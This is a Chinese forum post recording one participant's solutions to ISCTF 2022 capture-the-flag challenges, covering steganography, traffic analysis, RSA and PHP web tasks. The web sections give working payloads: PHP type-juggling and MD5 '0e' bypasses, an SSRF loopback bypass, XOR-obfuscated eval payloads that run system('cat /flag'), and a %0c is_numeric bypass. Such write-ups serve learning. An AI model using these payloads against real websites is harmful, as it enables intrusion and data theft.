首页
社区
课程
招聘
[原创]ISCTF2022做题记录
发表于: 2022-11-11 10:09 7534

[原创]ISCTF2022做题记录

2022-11-11 10:09
7534

存在不足望大佬指正,记录学习的每一天。

附件为压缩包,发现解压需要密码
同时存在一个提示
图片描述
即可选择使用掩码进行爆破
图片描述
图片描述
获得密码KEYISAES,解压后得到
图片描述
即是使用了emoji加密
使用在线网站进行解密
https://aghorler.github.io/emoji-aes/#decrypt
根据提示 key为AES,当调整Rotation为9时即可解出
图片描述
图片描述
得到flag为:ISCTF{Love1y_enn0ji}

打开题目链接
图片描述
下载该压缩包
发现该压缩包进行了多次压缩
使用脚本进行循环解压
脚本如下
import zipfile
name = '2020'
T=True
while T:
fz = zipfile.ZipFile(name + '.zip', 'r')
fz.extractall(pwd=bytes(name, 'utf-8'))
name1 = fz.filelist[0].filename
if (name1.split(".")[-1]) != "zip":
T=False

fz.close()

发现共压缩2022次
最后得到一张flag123.png图片
图片描述

使用Stegslove查看图片,在通道0处发现图片最顶部存在噪点
图片描述
使用工具查看RGB的最低有效位,发现使用了LSB隐写
图片描述
得到flag为:ISCTF{f2 984e59-4bf3-4fac -80b7-d21606fcc506}

下载的附件发现存在大量的txt文本,且每个文本只有一个字符
图片描述
编写脚本将所有的字符写到一起
脚本如下
content=''
for i in range(2896):
filename=str(i)+".txt"
with open(filename,'r') as f:
content+=f.read()
print(content)
图片描述

判断这些字符可能为base64编码
图片描述
使用base64解码后发现里面同时存在了isctf{}等字符
使用字频分析统计每个字符出现的次数并排序
图片描述
成功获取到flag:ISCTF{so_cLut73r}

下载附件为流量包如下
图片描述
直接搜索flag字段
图片描述
发现flag
跟踪该UDP流成功找到flag
图片描述
即是ISCTF{Docker_Swarm_Connected!}

打开下载的流量包得到
图片描述
跟踪其中的HTTP流发现为一个SQL盲注的数据包
图片描述
不断的跟踪HTTP流
发现查看第一部分flag的语句
图片描述
userName%3D%27flag%27%29%2C5%2C1%29%29%3E70%23提取出语句的一部分进行筛选
图片描述
继续跟踪流发现flag的第二部分
图片描述
同上使用每一位字符的ASCII值判断
通过返回的成功与否不断确定其范围
图片描述
最终得到flag

访问题目链接如下
图片描述
查看源码
图片描述
使用?hint得到
图片描述
源码如下
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(FILE);
if (isset($_POST['ISCTF'])) {
$ISCTF = $_POST['ISCTF'];
if($ISCTF == 114514){
if($ISCTF === "114514"){
echo "好臭啊";
}else{
echo $flag;
}
}else{
echo "= == === != !==";
}
}else{
echo "什么是POST?";
}
}else{
echo " 什么是GET?";
}
需要使用POST提交ISCTF的值为114514,由于存在两个等号的弱比较,所以使用114514A即可绕过第一层并且不进入第二层从而打印flag
图片描述
得到flag:ISCTF{464e70d2-be8f-4bba-acb2-79456c6ed8eb}

访问题目链接得到如下
图片描述
首先第一层过滤即是要求使用GET获取一个数字和一个字符,并且两个不相等,但是要求获取的第一个数字等于第二个字符的md5值
这里在PHP中当进行比较时,如果字符串0xxx的开头是0e的话该字符串被采用科学计数法识别,即是0的xxx次方还是0
于是我可以输入P0ST1的值为0,输入P0ST2的值为一个计算MD5后开头为0e的字符串
常见md5后开头为0e的字符串有
图片描述
于是使用?NAME=123&P0ST1=0&P0ST2=QNKCDZO成功饶过第一段
图片描述
得到一串十六进制的数,进行解码得到
图片描述
图片描述
这里输入的GET1使用了一个弱比较
于是使用0a成功饶过
图片描述
第二段要求输入的不是数字并且大于678
使用1234a,当字符串进行比较时类型不同它会将前半段中的a去掉
即是可以饶过数字的检查,也能够在去掉a后得到一个1234大于678成立,成功饶过
图片描述
得到一串字符串
JXUwMDM4JXUwMDM4JXUwMDMxJXUwMDMyJXUwMDJkJXUwMDYyJXUwMDY0JXUwMDMxJXUwMDM0JXUwMDJkJXUwMDM0JXUwMDM1JXUwMDM0JXUwMDMxJXUwMDJkJXUwMDYxJXUwMDMzJXUwMDMyJXUwMDM4JXUwMDJkJXUwMDM1JXUwMDMyJXUwMDM2JXUwMDM3JXUwMDY1JXUwMDM0JXUwMDM1JXUwMDM4JXUwMDYxJXUwMDM2JXUwMDYzJXUwMDY0JXUwMDdk
使用base64解码
得到
图片描述
再次进行unicode解码
图片描述
得到flag的后半段
拼接得到
ISCTF{fc898812-bd14-4541-a328-5267e458a6cd}

访问题目链接得到如下页面
图片描述
点击this字段
发现提示需要使用本地地址才能访问到flag.php
图片描述
在首页查看源码发现如下
图片描述
即是存在SSRF漏洞
使用?urls=http://127.0.0.1/flag.php进行访问
发现直接使用127.0.0.1不能访问
图片描述
即是需要寻找与127.0.0.1相同效果的地址
再IP地址的表示中有一种既是再IP地址中的0是可以省略的
既是127.0.0.1还可以表示为127.0.1和127.1
于是构造?urls=127.0.1/flag.php进行访问,得到
图片描述
既是flag为:ISCTF{18ac8ef6-df9b-4728-b772-8985a5be21e5}

访问题目链接得到如下
图片描述
发现存在eval($code)
既是存在代码执行,其中输入的字符中的数字及大小写字母均被过滤掉
在此想到在PHP中可以通过字符的ASCII值进行异或,自增,自减等操作构造其他的字符
构造出的system(‘ls’);的异或原始数据为:("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");成功查看到当前目录下的文件
图片描述
构造system(‘ls /’);
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");
图片描述
构造system(‘cat /flag’);
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");
图片描述
成功获取flag
ISCTF{f2178fc6-a6e2-4478-bc8f-9d08f14eca50}

访问题目链接得到源码
图片描述
第一层,GET输入的str必须包含#\\\\/Ilikeisctf#
图片描述
将#\\\\/Ilikeisctf#进行URL编码后输入即可
?str=%23\\\\%2FIlikeisctf%23
图片描述
第二段需要绕过
图片描述

图片描述
使用该脚本在36前面加上一个ASCII值判断可以绕过的ASCII值
使用脚本如下
<?php
function filter($num)
{
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$flag='000000000000';
for ($i=0; $i <=128 ; $i++)
{
$x=chr($i).'36';
if(is_numeric($x) and $x!=='36' and trim($x)!=='36' and filter($x)=='36')
{
echo $i.' '.chr($i).' '.urlencode($x)." true\n";
}
else
{
echo $i.' '.chr($i).' '.urlencode($x)." false\n";
}
}
?>

最后发现只用%0c可以绕过
图片描述
于是构造payload为:&num=%0c36

成功饶过
接下来即是使用cmd执行代码
首先执行phpinfo();查看是否可以成功
图片描述
代码成功执行
即是可以执行命令
&cmd=system(‘ls’);
图片描述
&cmd=system(‘ls /’);
图片描述
&cmd=system(‘cat /flag’);
图片描述
得到flag:ISCTF{2c6d0faf-a6d6-45a6-835b-74cb324487b1}

图片描述
题目提示使用了base
打开附件发现
图片描述
通过特征判断应该属于base64
但是每一行直接解码发现解码失败
通过观察每一行的长度中只有第五行的字母数量少一个,即是当使用与栅栏密码的方式重新竖着写回去,所有的等号都在最后不会到字母中间来
于是得到
JFJUGVCGPNAF6M3BON4V6QSBKNCTGMRBPU======
使用base64解码工具basecrack-4.0进行解码得到
图片描述
ISCTF{@_3asy_BASE32!}

打开下载的附件发现为RSA加密
图片描述
在该次加密中提供了phi
其中phi=(p-1)*(q-1)
并且q是p的下一个质素
即是p与q相差较小,可以考虑将phi进行开方然后遍历开方后两端的数,判断加一后是否为质素,并且求出下一个质数,然后将两个数均减一后相乘,若等于phi即是RSA加密所用的p和q

编写完整的脚本如下
import gmpy2
import libnum
phi=int(input("phi=")) #phi=(p-1)(q-1)
temp=gmpy2.iroot(phi,2)[0]
while 1:
p=temp+1
q=gmpy2.next_prime(p)
if gmpy2.is_prime(p):
if (p-1)
(q-1)==phi:
print("p=",p)
print("q=",q)
break
if (p-1)(q-1)<phi:
temp+=1
if (p-1)
(q-1)>phi:
temp-=1
图片描述
计算出p=
109536045196021378473484632066472150683521336347358874526866331690092816367179030745104763602807576505784282588391579330792050561206606208658316946611185794570291516186946574151436992714139093506271221446818524824573954054758828492925882010545627804144648642873153564353555136207966912120214314518375212160647
q= 109536045196021378473484632066472150683521336347358874526866331690092816367179030745104763602807576505784282588391579330792050561206606208658316946611185794570291516186946574151436992714139093506271221446818524824573954054758828492925882010545627804144648642873153564353555136207966912120214314518375212162597
已知e=65537
c= 5664235030100231880171042228110930207351619841860785495929861788749956436657598539033166266920085041056539484368799525891006461921744810454002229224070342640529484554920046100814190479604751667796353636578589439575896923937945959721385425716210546145718343511555866077148390467362495462929359632111674082222918151696522137240478900570056689827712787018876034334301771868147820786419006234529563416734953393480238739362002713175495890402512002469332947145115452344040709333447223824491510840788018172189866931550385951940611161143400804317944263940630025758568750312753125034413169961147691163044924934280636235493483

使用如下脚本进行解密得到

#python3
import libnum
p=int(input("p="))
q=int(input("q="))
e=int(input("e="))
c=int(input("c="))
phi=(p-1)(q-1)
d=libnum.invmod(e,phi)
m=pow(c,d,(p
q))
print("m的十进制=%d"%m)
message=hex(m)
print(message)
图片描述
十六进制为0x626c7565736861726b7b49536374665f69345f696e746572657374316e677d
转为字符串
图片描述
得到flag:blueshark{ISctf_i4_interest1ng}

附件为RSA加密
图片描述
其中知道
ps
q
k
sk
由于s,k均为质数且乘积较小,于是选择分解s
k
使用在线分解平台
http://factordb.com/
图片描述
分解出s和k,分别为
176868710737612660790124725586933365207和
249652499719930280463165749259207398633
使用ps/s,qk/k即可求得p,q
图片描述
得到
p=124431097685731585500751867561577386168625841833110547803689338621205694806894593800890539870901241604771309656881714338980632734600555998963734012020140199718421450936912672638698198874438316460684901133302344433574864927296261487308172012685704080591703927800706930307570111656989099386334418808318738228707
图片描述
得到q
136899269368574494181432774464678202037635589190950946226297544277459575545677315054120424232811345008456618479471930375486284959459949992475679011596136875096300441920570897559993673334614086077512235940271412778240309588973215899038656984058786224113488739164322245715370193417530133818250200774863603490877

已知p,q,e,c
使用脚本进行解密
图片描述


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-11-13 11:25 被kanxue编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//